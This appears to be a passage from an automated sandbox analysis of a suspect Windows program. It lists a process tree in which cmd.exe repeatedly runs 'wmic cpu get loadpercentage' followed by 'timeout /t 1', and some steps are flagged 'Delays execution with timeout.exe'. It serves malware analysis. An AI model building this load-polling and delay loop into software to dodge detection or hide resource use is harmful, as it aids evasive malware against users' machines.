C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4492
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:164
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:64
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4484
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2204
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2796
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1120
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:560
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2596
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2860
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1340
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1444
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3272
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1652
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2252
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2880
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3156
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2288
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5028
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3168
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3624
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3096
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2884
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3412
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4080
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4648
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2144
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4832
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3296
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3284
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4008
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3532
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4736
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2092
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3080
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2192
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:344
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1404
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3628
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4572
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:60
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4148
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3940
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3656
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5036
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3004
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:564
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:912
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1964
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2460
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1088
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4488
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4656
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4540
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:848
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1432
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4344
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4584
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4684
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4288
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4204
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:704
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2296
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4368
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4348
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2004
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4268
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4188
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:248
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2792
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4256
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1356
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2712
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4544
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4296
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:728
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:876
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:968
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:380
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:724
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3172
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4912
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1560
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1148
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2404
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:448
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2440
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:560
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5016
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3804
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1340
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2148
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2280
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1632
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2904
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2964
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4444
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2976
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3632
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:468
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3576
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4072
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3544
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4168
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5056
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4312
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3296
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3104
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1880
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4528
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4852
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3736
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3640
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4888
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:640
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:344
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4536
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4696
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4572
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2304
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2224
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3744
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:820
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:816
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3764
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2340
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:420
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2244
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4712
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1088
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2228
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4452
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2716
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:224
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4344
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3772
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4204
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4136
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2116
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5116
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2296
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2416
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4268
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5080
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:248
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4180
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3280
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2712
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4720
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2096
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:228
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4756
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1548
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:220
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:968
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1048
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4912
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1144
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1052
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2404
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4408
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1896
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:560
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2248
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2860
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3804
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2556
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2216
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2280
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3384
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4100
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3256
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2668
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3140
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4032
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3624
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3964
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3412
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3972
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4648
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:440
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5092
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1440
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3104
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3600
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4736
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4852
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:964
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2192
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3640
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4176
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3292
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1404
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4576
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4572
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2648
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2304
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3744
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3048
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3092
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3004
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3604
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1988
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:420
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4824
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4412
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2240
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1100
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4488
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2840
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2948
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4144
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3312
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2952
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2700
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3060
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3556
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4288
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4184
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4884
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2296
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1464
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4508
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4840
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4192
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1528
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4256
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4200
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1876
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3608
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4628
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:272
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4756
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3044
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1136
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1452
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2456
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4892
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4912
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4420
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2316
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2204
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2680
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2524
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1872
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4844
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2148
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2216
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2196
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3052
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4100
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3716
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2180
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:468
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2884
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3428
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4028
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4764
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4168
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4648
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4312
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4464
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1440
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1880
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2376
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1364
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3596
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4008
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1804
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3000
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3736
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3084
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1196
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:572
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4572
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:196
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2224
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:996
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4952
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4436
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1288
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:912
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3604
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:420
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4308
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2980
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2240
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4556
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1088
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2960
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1928
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2948
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2956
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3772
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4564
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3720
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2116
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4288
-
-
